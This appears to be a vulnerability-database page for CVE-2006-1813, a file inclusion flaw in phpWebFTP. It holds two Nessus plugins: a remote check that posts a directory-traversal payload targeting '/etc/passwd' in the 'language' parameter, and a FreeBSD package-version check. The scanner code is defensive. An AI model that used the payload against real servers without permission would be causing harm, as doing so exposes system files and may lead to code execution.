Vulnerabilities > CVE-2006-1813 - Directory Traversal vulnerability in PHPWebFTP

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(21238);
  script_version("1.23");

  script_cve_id("CVE-2006-1813");
  script_bugtraq_id(17557);

  script_name(english:"phpWebFTP index.php language Parameter Local File Inclusion");
  script_summary(english:"Tries to read /etc/passwd using phpWebFTP");

 script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that is affected by a
local file include issue." );
 script_set_attribute(attribute:"description", value:
"The remote host is running phpWebFTP, a web-based FTP client written
in PHP. 

The version of phpWebFTP installed on the remote host fails to
sanitize user-supplied input to the 'language' parameter of the
'index.php' script before using it in a PHP 'include()' function.  An
unauthenticated attacker may be able to exploit this issue to view
arbitrary files or to execute arbitrary PHP code on the remote host,
subject to the privileges of the web server user id. 

Note that successful exploitation of this issue requires that either
PHP's 'magic_quotes_gpc' setting be disabled or the attacker have the
ability to edit files on the remote host." );
 script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/431115/30/0/threaded" );
 script_set_attribute(attribute:"solution", value:
"Unknown at this time." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:N");
 script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
 script_set_attribute(attribute:"exploit_available", value:"false");
 script_set_attribute(attribute:"plugin_publication_date", value: "2006/04/17");
 script_set_attribute(attribute:"vuln_publication_date", value: "2006/04/16");
 script_cvs_date("Date: 2018/11/15 20:50:18");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe",value:"cpe:/a:phpwebftp:phpwebftp");
script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();


  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2006-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);
  script_require_keys("www/PHP");
  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("data_protection.inc");

port = get_http_port(default:80, embedded: 0, php: 1);

# Loop through various directories.
if (thorough_tests) dirs = list_uniq(make_list("/webftp", "/ftp", cgi_dirs()));
else dirs = make_list(cgi_dirs());

foreach dir (dirs)
{
  # Grab index.php.
  res = http_get_cache(item:string(dir, "/index.php"), port:port, exit_on_fail: 1);

  # If it looks like phpWebFTP...
  if ("phpWebFTP comes with ABSOLUTELY NO WARRANTY" >< res)
  {
    # Try to exploit one of the flaws to read a file.
    file = "../../../../../../../../../../../../etc/passwd%00";
    postdata = string(
      "server=1&",
      "port=21&",
      "goPassive=on&",
      "user=1&",
      "password=1&",
      "language=", file
    );
    r = http_send_recv3(method: "POST", item: dir+"/index.php", port: port,
      content_type: "application/x-www-form-urlencoded",
      exit_on_fail: 1, data: postdata);
    res = r[2];

    # There's a problem if there's an entry for root.
    #
    # nb: the application explicitly disables warnings so if the exploit fails
    #     we won't know if it was just because magic_quotes_gpc was enabled.
    if (egrep(pattern:"root:.*:0:[01]:", string:res))
    {
      contents = res - strstr(res, "</TD>");
      if (isnull(contents)) contents = res;
      contents = data_protection::redact_etc_passwd(output:contents);
      report = string(
        "\n",
        "Here are the contents of the file '/etc/passwd' that\n",
        "Nessus was able to read from the remote host :\n",
        "\n",
        contents
      );

      security_warning(port:port, extra:report);
      exit(0);
    }
  }
}

#%NASL_MIN_LEVEL 80502
#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were  
# extracted from the FreeBSD VuXML database :
#
# Copyright 2003-2018 Jacques Vidrine and contributors
#
# Redistribution and use in source (VuXML) and 'compiled' forms (SGML,
# HTML, PDF, PostScript, RTF and so forth) with or without modification,
# are permitted provided that the following conditions are met:
# 1. Redistributions of source code (VuXML) must retain the above
#    copyright notice, this list of conditions and the following
#    disclaimer as the first lines of this file unmodified.
# 2. Redistributions in compiled form (transformed to other DTDs,
#    published online in any format, converted to PDF, PostScript,
#    RTF and other formats) must reproduce the above copyright
#    notice, this list of conditions and the following disclaimer
#    in the documentation and/or other materials provided with the
#    distribution.
# 
# THIS DOCUMENTATION IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
# THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS
# BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,
# OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
# OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
# BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
# OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS DOCUMENTATION,
# EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#

include("compat.inc");

if (description)
{
  script_id(21519);
  script_version("1.14");
  script_cvs_date("Date: 2019/08/02 13:32:38");

  script_cve_id("CVE-2006-1812", "CVE-2006-1813");
  script_xref(name:"Secunia", value:"19706");

  script_name(english:"FreeBSD : phpwebftp -- 'language' Local File Inclusion (d9dc2697-dadf-11da-912f-00123ffe8333)");
  script_summary(english:"Checks for updated package in pkg_info output");

  script_set_attribute(
    attribute:"synopsis", 
    value:"The remote FreeBSD host is missing a security-related update."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"Secunia reports :

phpWebFTP have a vulnerability, which can be exploited by malicious
people to disclose sensitive information.

Input passed to the 'language' parameter in index.php isn't properly
verified, before it is used to include files. This can be exploited to
include arbitrary files from local resources.

Successful exploitation requires that 'magic_quotes_gpc' is disabled."
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://sourceforge.net/forum/forum.php?forum_id=566199"
  );
  # https://vuxml.freebsd.org/freebsd/d9dc2697-dadf-11da-912f-00123ffe8333.html
  script_set_attribute(
    attribute:"see_also",
    value:"http://www.nessus.org/u?a35ec3b9"
  );
  script_set_attribute(attribute:"solution", value:"Update the affected package.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:N");

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:freebsd:freebsd:phpwebftp");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:freebsd:freebsd");

  script_set_attribute(attribute:"vuln_publication_date", value:"2006/04/18");
  script_set_attribute(attribute:"patch_publication_date", value:"2006/05/03");
  script_set_attribute(attribute:"plugin_publication_date", value:"2006/05/13");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2006-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_family(english:"FreeBSD Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/FreeBSD/release", "Host/FreeBSD/pkg_info");

  exit(0);
}


include("audit.inc");
include("freebsd_package.inc");


if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
if (!get_kb_item("Host/FreeBSD/release")) audit(AUDIT_OS_NOT, "FreeBSD");
if (!get_kb_item("Host/FreeBSD/pkg_info")) audit(AUDIT_PACKAGE_LIST_MISSING);


flag = 0;

if (pkg_test(save_report:TRUE, pkg:"phpwebftp<3.3")) flag++;

if (flag)
{
  if (report_verbosity > 0) security_warning(port:0, extra:pkg_report_get());
  else security_warning(0);
  exit(0);
}
else audit(AUDIT_HOST_NOT, "affected");